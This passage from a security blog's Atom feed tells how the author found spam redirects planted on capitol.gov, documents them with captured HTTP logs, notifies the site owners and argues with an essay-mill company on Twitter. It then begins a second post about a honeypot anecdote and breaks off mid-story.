                                <category scheme="https://yourflyis0pen.com/tags/uh-oh" term="uh-oh" label="uh-oh" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Maybe You Should Do More Research...]]></title>
            <link href="https://yourflyis0pen.com/article/do-more-research/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/and-who-are-you/?utm_source=atom_feed" rel="related" type="text/html" title="And... Who Are You?" />
                <link href="https://yourflyis0pen.com/article/if-i-cant-see-it/?utm_source=atom_feed" rel="related" type="text/html" title="If I Cant See It, It Isn&#39;t A Problem..." />
                <link href="https://yourflyis0pen.com/article/partly-cloudy/?utm_source=atom_feed" rel="related" type="text/html" title="Partly Cloudy With a Chance of a Colon Clense" />
                <link href="https://yourflyis0pen.com/article/alright/?utm_source=atom_feed" rel="related" type="text/html" title="The Kids Are OK OK OK OK OK OK OK" />
                <link href="https://yourflyis0pen.com/article/shell-collecting/?utm_source=atom_feed" rel="related" type="text/html" title="Shell Collecting" />
            
                <id>https://yourflyis0pen.com/article/do-more-research/</id>
            
            
            <published>2016-06-01T18:47:39-06:00</published>
            <updated>2016-06-01T18:47:39-06:00</updated>
            
            
            <content type="html"><![CDATA[<p>Everyone needs a hobby.</p>
<p>Mine is, I&rsquo;ll admit, probably a bit odd. I collect justice&hellip; or at least the small morsels of justice I&rsquo;m able to eek out of this increasingly unjust world.</p>
<p>My justice &ldquo;collection&rdquo; includes - quite literally - hundreds of websites, servers, and systems that I&rsquo;ve managed - over the years - to get &ldquo;unhacked&rdquo; by notifying the folks who own them and, as a result, taking them away from the folks who&hellip; well&hellip; 0wn them.</p>
<p>At times, it becomes soul-sucking drudgery - I feel like a modern day Cassandra, telling the truth to people who just don&rsquo;t want to hear. Today, however, wasn&rsquo;t one of those days. Today was <em><strong>FUN</strong></em>.</p>
<p>In the mornings, I fire up my little Chromebook and check the news, look at Twitter and Facebook, and then generally just putz around a bit on the ‘Net while everyone else is waking up and getting ready. One of my favorite &ldquo;putzing around&rdquo; activities is to fire off random Google searches to see what interesting stuff I can find. If you know what you&rsquo;re doing, you can find lots of interesting things.</p>
<p>One of Google&rsquo;s most under-rated features is the ability to search for specific content across a single site, or an entire Top Level Domain (TLD&hellip; i.e. all of the sites under .com, .net, .org, etc&hellip;) using the &ldquo;site&rdquo; keyword. For example, this morning, I fired off the following search:</p>
<p><code>site:.gov cheap buy online</code></p>
<p>That search looks for pages containing the words &ldquo;cheap,&rdquo; &ldquo;buy,&rdquo; and &ldquo;online&rdquo; within the .gov TLD.</p>
<p>The third &ldquo;hit&rdquo; within the search results looked like this:</p>
<p><img src="research_img1.png" alt="The Capitol? Oh, crap&hellip;"></p>
<p>Seriously? The Capitol&rsquo;s website? Aw, hell&hellip;</p>
<p>I changed my search to:</p>
<p><code>site:capitol.gov</code></p>
<p>and found that there were dozens of &ldquo;pages&rdquo; added to the site selling term / &ldquo;research&rdquo; papers. (Note: they&rsquo;re not really pages&hellip; they&rsquo;re just a bunch of HTTP 307 Temporary Redirects that I believe are created by alterations to the code within the site&hellip; more on this later)</p>
<p>I followed several of the links and found that they would round-robin me to a couple of different sites:</p>
<p><em>Test #1</em></p>
<div class="highlight"><pre tabindex="0" style="color:#ccc;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-plaintext" data-lang="plaintext"><span style="display:flex;"><span>GET http://capitol.gov/init.php/essay-my-country/
</span></span><span style="display:flex;"><span>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
</span></span><span style="display:flex;"><span>Upgrade-Insecure-Requests: 1
</span></span><span style="display:flex;"><span>User-Agent: Mozilla/5.0 (X11; CrOS x86_64 7978.76.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.104 Safari/537.36
</span></span><span style="display:flex;"><span>Referer: https://www.google.com/
</span></span><span style="display:flex;"><span>Accept-Encoding: gzip, deflate, sdch
</span></span><span style="display:flex;"><span>Accept-Language: en-US,en;q=0.8
</span></span><span style="display:flex;"><span>Cookie: __utma=233380364.798512421.1464786413.1464786413.1464786413.1; __utmc=233380364; __utmz=233380364.1464786413.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>HTTP/1.1 307 Temporary Redirect
</span></span><span style="display:flex;"><span> Redirect to: https://speedypaper.com/?rt=3S5do2ix&amp;utm_search_engine=google&amp;utm_host=capitol.gov&amp;utm_referrer=http%3A%2F%2Fcapitol.gov%2Finit.php%2Fessay-my-country%2F&amp;utm_keyword=essay+my+country
</span></span><span style="display:flex;"><span>Server: nginx
</span></span><span style="display:flex;"><span>Date: Wed, 01 Jun 2016 13:15:07 GMT
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Content-Length: 20
</span></span><span style="display:flex;"><span>Connection: keep-alive
</span></span><span style="display:flex;"><span>Location: https://speedypaper.com/?rt=3S5do2ix&amp;utm_search_engine=google&amp;utm_host=capitol.gov&amp;utm_referrer=http%3A%2F%2Fcapitol.gov%2Finit.php%2Fessay-my-country%2F&amp;utm_keyword=essay+my+country
</span></span><span style="display:flex;"><span>X-Powered-By: PleskLin
</span></span><span style="display:flex;"><span>Vary: Accept-Encoding
</span></span><span style="display:flex;"><span>Content-Encoding: gzip
</span></span></code></pre></div><p><em>Test #2</em></p>
<div class="highlight"><pre tabindex="0" style="color:#ccc;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-plaintext" data-lang="plaintext"><span style="display:flex;"><span>GET http://capitol.gov/init.php/walmart-research-papers/
</span></span><span style="display:flex;"><span>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
</span></span><span style="display:flex;"><span>Upgrade-Insecure-Requests: 1
</span></span><span style="display:flex;"><span>User-Agent: Mozilla/5.0 (X11; CrOS x86_64 7978.76.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.104 Safari/537.36
</span></span><span style="display:flex;"><span>Referer: https://www.google.com/
</span></span><span style="display:flex;"><span>Accept-Encoding: gzip, deflate, sdch
</span></span><span style="display:flex;"><span>Accept-Language: en-US,en;q=0.8
</span></span><span style="display:flex;"><span>Cookie: __utma=233380364.798512421.1464786413.1464786413.1464786413.1; __utmb=233380364.5.10.1464786413; __utmc=233380364; __utmz=233380364.1464786413.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>HTTP/1.1 307 Temporary Redirect
</span></span><span style="display:flex;"><span> Redirect to: https://essayfactory.uk/?ref_id=1076
</span></span><span style="display:flex;"><span>Server: nginx
</span></span><span style="display:flex;"><span>Date: Wed, 01 Jun 2016 13:34:51 GMT
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Content-Length: 20
</span></span><span style="display:flex;"><span>Connection: keep-alive
</span></span><span style="display:flex;"><span>Location: https://essayfactory.uk/?ref_id=1076
</span></span><span style="display:flex;"><span>X-Powered-By: PleskLin
</span></span><span style="display:flex;"><span>Vary: Accept-Encoding
</span></span><span style="display:flex;"><span>Content-Encoding: gzip
</span></span></code></pre></div><p><em>Sonofabitch&hellip;</em></p>
<p>Normally, this is the time that I would fire off an email or a tweet to the folks running the capitol.gov website and go about my day having a little less faith in humanity. <em><strong>Seriously!?!?</strong> They hacked the Capitol&rsquo;s website just to make a frickin&rsquo; buck off of &ldquo;research papers.&rdquo;</em></p>
<p>I decided to do a little checking into SpeedyPaper and EssayFactoryUK. Turns out, they both have Twitter accounts, and while the EssayFactory one is pretty much unused, the SpeedyPaper account is very active.</p>
<p>I was more than a little peeved at what I&rsquo;d found, so I decided to call the SpeedyPaper people out – at the same time I was letting the U.S. Capitol folks know that they&rsquo;d been 0wned.</p>
<p><img src="research_tweet1.png" alt="Tweet #1"></p>
<p>After a few minutes, the SpeedyPaper people actually responded:</p>
<p><img src="research_tweet2.png" alt="Tweet #2"></p>
<p>Now, far be it from me to be to call into question the moral character of someone who makes their living selling term / &ldquo;research&rdquo; papers on the Internet, but I did find myself wondering exactly what kind of &ldquo;checking&rdquo; they might be doing&hellip;</p>
<p>It didn&rsquo;t take long to find out&hellip; and just for fun, I&rsquo;m going to attempt to caption what I believe the thought process was behind the &ldquo;moves&rdquo; I saw taking place.</p>
<p><em><strong>Disclaimer:</strong> I can&rsquo;t possibly know what the people at SpeedyPaper were thinking. Hell, I can&rsquo;t even claim to know THAT they were thinking. This can, at best, be considered a work of really crappy near-term historical/speculative fiction.</em></p>
<p>Scene: Someone&rsquo;s dank, musty basement. In the background, 1,000,000 monkeys sit, pounding away at typewriters and flinging their feces. A man of indeterminate age sits alone, shrouded in shadows, speaking aloud - either to himself, or the monkeys:</p>
<p><em>SpeedyPaper : Holy crap! This incredibly insightful and likely extremely good-looking &ldquo;tliston&rdquo; fellow has pointed out that we are the direct SEO beneficiaries of, literally, dozens of hacked links on the U.S. Capitol&rsquo;s website. It&rsquo;s quite possible that the Government may become more than a bit miffed at us. We must DO something!</em></p>
<div class="highlight"><pre tabindex="0" style="color:#ccc;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-plaintext" data-lang="plaintext"><span style="display:flex;"><span>GET http://capitol.gov/init.php/dissertation-byu/
</span></span><span style="display:flex;"><span>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
</span></span><span style="display:flex;"><span>Upgrade-Insecure-Requests: 1
</span></span><span style="display:flex;"><span>User-Agent: Mozilla/5.0 (X11; CrOS x86_64 7978.76.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.104 Safari/537.36
</span></span><span style="display:flex;"><span>Referer: https://www.google.com/
</span></span><span style="display:flex;"><span>Accept-Encoding: gzip, deflate, sdch
</span></span><span style="display:flex;"><span>Accept-Language: en-US,en;q=0.8
</span></span><span style="display:flex;"><span>Cookie: __utma=233380364.798512421.1464786413.1464786413.1464786413.1; __utmb=233380364.5.10.1464786413; __utmc=233380364; __utmz=233380364.1464786413.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>HTTP/1.1 307 Temporary Redirect
</span></span><span style="display:flex;"><span> Redirect to: https://speedypaper.com/?rt=3S5do2ix&amp;utm_search_engine=google&amp;utm_host=capitol.gov&amp;utm_referrer=http%3A%2F%2Fcapitol.gov%2Finit.php%2Fdissertation-byu%2F&amp;utm_keyword=dissertation+byu
</span></span><span style="display:flex;"><span>Server: nginx
</span></span><span style="display:flex;"><span>Date: Wed, 01 Jun 2016 13:37:01 GMT
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Content-Length: 20
</span></span><span style="display:flex;"><span>Connection: keep-alive
</span></span><span style="display:flex;"><span>Location: https://speedypaper.com/?rt=3S5do2ix&amp;utm_search_engine=google&amp;utm_host=capitol.gov&amp;utm_referrer=http%3A%2F%2Fcapitol.gov%2Finit.php%2Fdissertation-byu%2F&amp;utm_keyword=dissertation+byu
</span></span><span style="display:flex;"><span>X-Powered-By: PleskLin
</span></span><span style="display:flex;"><span>Vary: Accept-Encoding
</span></span><span style="display:flex;"><span>Content-Encoding: gzip
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>GET https://speedypaper.com/?rt=3S5do2ix&amp;utm_search_engine=google&amp;utm_host=capitol.gov&amp;utm_referrer=http%3A%2F%2Fcapitol.gov%2Finit.php%2Fdissertation-byu%2F&amp;utm_keyword=dissertation+byu
</span></span><span style="display:flex;"><span>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
</span></span><span style="display:flex;"><span>Upgrade-Insecure-Requests: 1
</span></span><span style="display:flex;"><span>User-Agent: Mozilla/5.0 (X11; CrOS x86_64 7978.76.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.104 Safari/537.36
</span></span><span style="display:flex;"><span>Referer: https://www.google.com/
</span></span><span style="display:flex;"><span>Accept-Encoding: gzip, deflate, sdch
</span></span><span style="display:flex;"><span>Accept-Language: en-US,en;q=0.8
</span></span><span style="display:flex;"><span>Cookie: __cfduid=d26ddac4638670fc8878c739a1861237c1464786359; spu=eyJpdiI6IlNORkNWUXJcL1ZJQ0hUT1wvd0dDVWVFdz09IiwidmFsdWUiOiJZK1dQZ3cwV1NTbjI2MVBhMWxkdkx3PT0iLCJtYWMiOiI5NDc4MGY0MzBhMzEwZTUzODQ0NjhkYTEwMmY5MjAwNzJlMTgyZGU0MDg4MjAzOThmMmY0NmFjODkwYzk5NTRhIn0%3D; spv=eyJpdiI6Ilk0SXNtZnhTZHgzMFpzaGc2bnZjcGc9PSIsInZhbHVlIjoiYkFnamV3OEYwcnp2ekJwdTVLSEF6Zz09IiwibWFjIjoiYmU4ZTExOWYzOTA5MGEwNTRjNzlkYTY2NTZmMzQyNDU1NjkzYWQ1OGU2NDE5NGE2ODQ4NDMxY2Y3ZDQ4YzkwOSJ9; spvis=eyJpdiI6IjZtaWU2SmROcFBjaWRpcWJaekY2OVE9PSIsInZhbHVlIjoiTXl3SjZPS0xQZ284T0g2K29ENDh6UT09IiwibWFjIjoiYjc3MDE5ODFlNWZlNDBmNTE1ZDJlMGYxNjFmMWU1NDEwODM3ODQ2NmI0MTIzMDA4ZDRmN2I1YTE4NjRjZmJhOCJ9; laravel_session_speedypaper=eyJpdiI6Ik5EdWJxcGZPZDlOcFJ0Z252S2drZ3c9PSIsInZhbHVlIjoibTE5QzVQRW9ST1wvYUJtZWNZa2w0VTBybUZGU2RlN0hPWmhLeVN4bTloUVRmdlwvNEJTWUZOVGJGeVFUMVd0RUtaUlVQN1NwVytcL2VENndIRjhKVlIrcFE9PSIsIm1hYyI6ImNkMmYyZjJjZDczZmE1NTA1OTY0ZGI0NTJlM2QwMGFmN2Q3NDk4NDUzN2FiNGVhYTRlMGI1NGNkMjk2YjU4MGQifQ%3D%3D
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>HTTP/1.1 302
</span></span><span style="display:flex;"><span> Redirect to: https://7essays.com/
</span></span><span style="display:flex;"><span>status: 302
</span></span><span style="display:flex;"><span>date: Wed, 01 Jun 2016 13:37:01 GMT
</span></span><span style="display:flex;"><span>content-type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>cache-control: no-cache
</span></span><span style="display:flex;"><span>location: https://7essays.com
</span></span><span style="display:flex;"><span>set-cookie: laravel_session_speedypaper=eyJpdiI6IjZ5eitRSk0wRWt3dU1tQzMwUEFNQ2c9PSIsInZhbHVlIjoielVTN05ZS01nY3VFWTU0cGVodmJjN0g1T0krN2hJcDlPa3RZb2h4N2JLSk44MTZsNytsU095TWhmQnZLRjRXY0JjdVBZemgxV0JnYkF5dFB3dFc0b3c9PSIsIm1hYyI6IjNmN2FjZTQxMmRlOTEyNzBiOTc4YzY0MmQ0NWZmY2ZhMmE2YTg4NjUwN2Q2M2FjODZkYjI1ZjBlOTkyODJjZWUifQ%3D%3D; expires=Wed, 01-Jun-2016 15:37:01 GMT; Max-Age=7200; path=/; httponly
</span></span><span style="display:flex;"><span>x-prerender-token: fbDlD1S9rFH3au9KfiDK
</span></span><span style="display:flex;"><span>strict-transport-security: max-age=63072000; includeSubdomains;
</span></span><span style="display:flex;"><span>x-content-type-options: nosniff
</span></span><span style="display:flex;"><span>server: cloudflare-nginx
</span></span><span style="display:flex;"><span>cf-ray: 2ac30ed1006f10c9-ORD
</span></span></code></pre></div><p>Wait&hellip; wut? Did they just&hellip; redirect to some other term / research paper company? Was this a really crappy gambit at shifting the blame? If so, then that&rsquo;s mighty suspicious behavior on the part of a company that will (in the very near future) claim that <em>THEY</em> are the victims here. Note: I never saw this behavior prior to them &ldquo;checking&rdquo; on things, but if it did exist, then their claim of <em>victimhood</em> becomes even more unbelievable&hellip;</p>
<p>I believe that things then proceeded thusly:</p>
<p><em>SpeedyPaper: Wait! What could we have been thinking! Redirecting these links to another term paper company is wrong! Not only is it wrong, but it might appear suspicious. Think, think, think&hellip; I&rsquo;ve got to think! WOULD YOU DAMNED MONKEYS SHUT UP!?!? What shall we do? I know! Let&rsquo;s redirect right back to the Capitol&rsquo;s website&hellip; that will make everything better!</em></p>
<div class="highlight"><pre tabindex="0" style="color:#ccc;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-plaintext" data-lang="plaintext"><span style="display:flex;"><span>GET http://capitol.gov/init.php/essay-my-country/
</span></span><span style="display:flex;"><span>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
</span></span><span style="display:flex;"><span>Upgrade-Insecure-Requests: 1
</span></span><span style="display:flex;"><span>User-Agent: Mozilla/5.0 (X11; CrOS x86_64 7978.76.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.104 Safari/537.36
</span></span><span style="display:flex;"><span>Referer: https://www.google.com/
</span></span><span style="display:flex;"><span>Accept-Encoding: gzip, deflate, sdch
</span></span><span style="display:flex;"><span>Accept-Language: en-US,en;q=0.8
</span></span><span style="display:flex;"><span>Cookie: __utma=233380364.798512421.1464786413.1464786413.1464786413.1; __utmc=233380364; __utmz=233380364.1464786413.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>HTTP/1.1 307 Temporary Redirect
</span></span><span style="display:flex;"><span> Redirect to: https://speedypaper.com/?rt=3S5do2ix&amp;utm_search_engine=google&amp;utm_host=capitol.gov&amp;utm_referrer=http%3A%2F%2Fcapitol.gov%2Finit.php%2Fessay-my-country%2F&amp;utm_keyword=essay+my+country
</span></span><span style="display:flex;"><span>Server: nginx
</span></span><span style="display:flex;"><span>Date: Wed, 01 Jun 2016 13:41:07 GMT
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Content-Length: 20
</span></span><span style="display:flex;"><span>Connection: keep-alive
</span></span><span style="display:flex;"><span>Location: https://speedypaper.com/?rt=3S5do2ix&amp;utm_search_engine=google&amp;utm_host=capitol.gov&amp;utm_referrer=http%3A%2F%2Fcapitol.gov%2Finit.php%2Fessay-my-country%2F&amp;utm_keyword=essay+my+country
</span></span><span style="display:flex;"><span>X-Powered-By: PleskLin
</span></span><span style="display:flex;"><span>Vary: Accept-Encoding
</span></span><span style="display:flex;"><span>Content-Encoding: gzip
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>GET https://speedypaper.com/?rt=3S5do2ix&amp;utm_search_engine=google&amp;utm_host=capitol.gov&amp;utm_referrer=http%3A%2F%2Fcapitol.gov%2Finit.php%2Fessay-my-country%2F&amp;utm_keyword=essay+my+country
</span></span><span style="display:flex;"><span>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
</span></span><span style="display:flex;"><span>Upgrade-Insecure-Requests: 1
</span></span><span style="display:flex;"><span>User-Agent: Mozilla/5.0 (X11; CrOS x86_64 7978.76.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.104 Safari/537.36
</span></span><span style="display:flex;"><span>Referer: https://www.google.com/
</span></span><span style="display:flex;"><span>Accept-Encoding: gzip, deflate, sdch
</span></span><span style="display:flex;"><span>Accept-Language: en-US,en;q=0.8
</span></span><span style="display:flex;"><span>Cookie: __cfduid=d26ddac4638670fc8878c739a1861237c1464786359; spu=eyJpdiI6IlNORkNWUXJcL1ZJQ0hUT1wvd0dDVWVFdz09IiwidmFsdWUiOiJZK1dQZ3cwV1NTbjI2MVBhMWxkdkx3PT0iLCJtYWMiOiI5NDc4MGY0MzBhMzEwZTUzODQ0NjhkYTEwMmY5MjAwNzJlMTgyZGU0MDg4MjAzOThmMmY0NmFjODkwYzk5NTRhIn0%3D; spv=eyJpdiI6Ilk0SXNtZnhTZHgzMFpzaGc2bnZjcGc9PSIsInZhbHVlIjoiYkFnamV3OEYwcnp2ekJwdTVLSEF6Zz09IiwibWFjIjoiYmU4ZTExOWYzOTA5MGEwNTRjNzlkYTY2NTZmMzQyNDU1NjkzYWQ1OGU2NDE5NGE2ODQ4NDMxY2Y3ZDQ4YzkwOSJ9; spvis=eyJpdiI6IjZtaWU2SmROcFBjaWRpcWJaekY2OVE9PSIsInZhbHVlIjoiTXl3SjZPS0xQZ284T0g2K29ENDh6UT09IiwibWFjIjoiYjc3MDE5ODFlNWZlNDBmNTE1ZDJlMGYxNjFmMWU1NDEwODM3ODQ2NmI0MTIzMDA4ZDRmN2I1YTE4NjRjZmJhOCJ9; laravel_session_speedypaper=eyJpdiI6Ilpob2VoTEpTV2ZYMGRQMlwvXC9OTStwdz09IiwidmFsdWUiOiIycnFnbXVJdEJrNzZmdTJZZ2UrTjNKbDk0cjI0YjVnRm9TN0NHbHRaS2JzR1hmd2xxZ1wvQTRjMklGU2gySDFMaEJGVmtYSW9nSEswV1wvclQwWmN6TlpnPT0iLCJtYWMiOiI1NGExMWJmMmVjMTlmM2Y0Nzg4MDdjNWY2Nzk4YjNiMDVkZjRhMDI2ZGZjZjk0YjEwYzExZWNkNmQ5ZWZlMzllIn0%3D
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>HTTP/1.1 302
</span></span><span style="display:flex;"><span> Redirect to: http://capitol.gov/
</span></span><span style="display:flex;"><span>status: 302
</span></span><span style="display:flex;"><span>date: Wed, 01 Jun 2016 13:41:07 GMT
</span></span><span style="display:flex;"><span>content-type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>cache-control: no-cache
</span></span><span style="display:flex;"><span>location: http://capitol.gov
</span></span><span style="display:flex;"><span>set-cookie: laravel_session_speedypaper=eyJpdiI6IjJ6dlZzeGk4WlMyeVwvbUxFUFZmYzNRPT0iLCJ2YWx1ZSI6Ik53NHBFcStRYVd0QzZUYU9GNnYwYytNQTNOOFEzR3YxemdWQWMyNkJBdFdYV3BxR2VSS0lYaGNtck1PQ20zcEJ2TGZvVCtPQlkxczFoc3BBMHZuck1nPT0iLCJtYWMiOiJlYTQ4MmI4NDVhZmQ1ZWZjZTkzNTA4MGQzYTUxNzhhNzQ4OWZjMDFjNDVlMTNlMDMxMzk1ZTBhNmE2NjFmNTJjIn0%3D; expires=Wed, 01-Jun-2016 15:41:07 GMT; Max-Age=7200; path=/; httponly
</span></span><span style="display:flex;"><span>x-prerender-token: fbDlD1S9rFH3au9KfiDK
</span></span><span style="display:flex;"><span>strict-transport-security: max-age=63072000; includeSubdomains;
</span></span><span style="display:flex;"><span>x-content-type-options: nosniff
</span></span><span style="display:flex;"><span>server: cloudflare-nginx
</span></span><span style="display:flex;"><span>cf-ray: 2ac314d3d37910c9-ORD
</span></span></code></pre></div><p>Now that everything is right with the world, they fire off another tweet to which I respond:</p>
<p><img src="research_tweet3.png" alt="Tweet #3"></p>
<p>So, they do some ‘splaining&hellip;</p>
<p><img src="research_tweet4.png" alt="Tweet #4"></p>
<p>Ah&hellip; it&rsquo;s their EEEEEeeevil competitors that have done this to them.</p>
<p><img src="research_tweet5.png" alt="Tweet #5"></p>
<p>Now, I&rsquo;m not saying that it <em>couldn&rsquo;t</em> be their competitors - hey&hellip; anything is possible. I&rsquo;m just saying that the circumstantial evidence here makes the burden of proof - for me - a bit higher than saying &ldquo;we&rsquo;re innocent.&rdquo;</p>
<p>That whole redirect to 7essays thing? If it was happening all along (and I just never triggered it&hellip;) then that&rsquo;s&hellip; well&hellip; problematic for your whole &ldquo;we&rsquo;re innocent&rdquo; defense. And if it was the result of you &ldquo;checking&rdquo; things then&hellip; well&hellip; that&rsquo;s problematic for your whole &ldquo;we&rsquo;re innocent&rdquo; defense too. Just sayin&rsquo;&hellip;</p>
<p>But SpeedyPaper hasn&rsquo;t got a clue about how much I know. And they&rsquo;re still trying to convince me that they&rsquo;ve been framed:</p>
<p><img src="research_tweet6.png" alt="Tweet #6"></p>
<p>Finally, since they&rsquo;re been twitter-bombed via all the back-n-forth with SpeedyPaper, the Capitol folks show up:</p>
<p><img src="research_tweet7.png" alt="Tweet #7"></p>
<p>And I get to pin one more tiny piece of justice on my wall&hellip;</p>
<p>Hey, SpeedyPaper&hellip; packets don&rsquo;t lie. Research that.</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
June 1, 2016</p>
]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/attacks" term="attacks" label="attacks" />
                            
                        
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/series/the-term-paper-blues" term="the-term-paper-blues" label="The Term Paper Blues" />
                            
                        
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/stoopid" term="stoopid" label="stoopid" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/uh-oh" term="uh-oh" label="uh-oh" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/webapp" term="webapp" label="webapp" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Danger, Will Robinson!]]></title>
            <link href="https://yourflyis0pen.com/article/danger-will-robinson/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/and-who-are-you/?utm_source=atom_feed" rel="related" type="text/html" title="And... Who Are You?" />
                <link href="https://yourflyis0pen.com/article/if-i-cant-see-it/?utm_source=atom_feed" rel="related" type="text/html" title="If I Cant See It, It Isn&#39;t A Problem..." />
                <link href="https://yourflyis0pen.com/article/shell-collecting/?utm_source=atom_feed" rel="related" type="text/html" title="Shell Collecting" />
                <link href="https://yourflyis0pen.com/article/stoopid/?utm_source=atom_feed" rel="related" type="text/html" title="Stoopid *" />
                <link href="https://yourflyis0pen.com/article/knock/?utm_source=atom_feed" rel="related" type="text/html" title="Knock, Knock... Who&#39;s There?" />
            
                <id>https://yourflyis0pen.com/article/danger-will-robinson/</id>
            
            
            <published>2016-05-31T18:29:18-06:00</published>
            <updated>2016-05-31T18:29:18-06:00</updated>
            
            
            <content type="html"><![CDATA[<p>It was mid-December 2002, and it was that rather nasty time of year when - in addition to having to deal with the snow - it was dark when I went into work in the morning and dark when I came home. Even though our company shut down over Christmas, I was going to be spending my holidays upgrading servers. Needless to say, I wasn&rsquo;t really bubbling over with holiday joy.</p>
<p>My office was a long, skinny, windowless affair, and the only office furniture arrangement that made sense left me sitting with my back facing the door. Those of you who have worked in IT (and especially security) know that we tend to focus on the task at hand to the exclusion of all else, so - over the years - the staff had learned various techniques to gently rouse me from &ldquo;concentrating&rdquo; without startling the hell out of me.</p>
<p>Tap&hellip; Tap&hellip; Tap&hellip;</p>
<p>My office door was always open, so a preferred method of getting my attention was to gently tap on the metal door frame until I realized someone was there. The overall worst method was to simply walk into my office and say something - that was pretty much guaranteed to make me startle halfway out of my chair - resulting in a very unhappy Tom.</p>
<p>Tap&hellip; Tap&hellip; Tap&hellip;</p>
<p><em>&ldquo;Wazzup?&rdquo;</em> I said, my eyes still glued to the script I was writing to wrangle something out of the logs.</p>
<p><em>&ldquo;Something just showed up for you.&rdquo;</em> It was the main receptionist, rather than the shipping clerk&hellip; something that didn&rsquo;t sink in immediately.</p>
<p><em>&ldquo;Ok&hellip; Can you just put it on my desk? Thanks&hellip;&rdquo;</em></p>
<p><em>&ldquo;No&hellip; You really need to come get it.&rdquo;</em></p>
<p><em>&ldquo;Whaaaaa?&rdquo;</em> I turned around and noticed the big ol&rsquo; shit-eating grin on her face. &ldquo;Seriously? What is it?&rdquo;</p>
<p><em>&ldquo;You&rsquo;ll see&hellip;&rdquo;</em></p>
<p>It was big. And chock full o&rsquo; Christmasy touches - everything inside was either red or green. Some of it was both. It sat in the middle of the reception desk like a hulking, wicker ode to Holiday Spirit with the words &ldquo;Harry and David&rdquo; emblazoned on, literally, everything.</p>
<p><em>&ldquo;Open it&hellip; Open it&hellip;&rdquo;</em> A small crowd had gathered. Getting something delivered wasn&rsquo;t a &ldquo;special&rdquo; occurrence - rarely did a week pass where one of the ladies in the office didn&rsquo;t get flowers delivered for a birthday or an anniversary - but I wasn&rsquo;t a lady, and this wasn&rsquo;t flowers.</p>
<p><em>&ldquo;Settle down&hellip; let me look at the card first.&rdquo;</em></p>
<p><em>&ldquo;Looks like someone has a secret admirer&hellip;&rdquo;</em> You can always count on <em>that</em> person whenever you&rsquo;re in this situation. Generally, they&rsquo;re silenced with an evil glare&hellip; and I&rsquo;m <em>really</em> good at evil glares.</p>
<p>I opened the attached card. It turned out to be from a mid-sized manufacturing company somewhere on the East Coast. I remembered the company name well&hellip;</p>
<p>It was probably mid-Novemeber when I had first noticed that I had four or five consecutive IP addresses from that company &ldquo;persist-trapped&rdquo; in my test version of LaBrea (the &ldquo;sticky&rdquo; honeypot I wrote around the time the Code-Red worm first came out to play).</p>
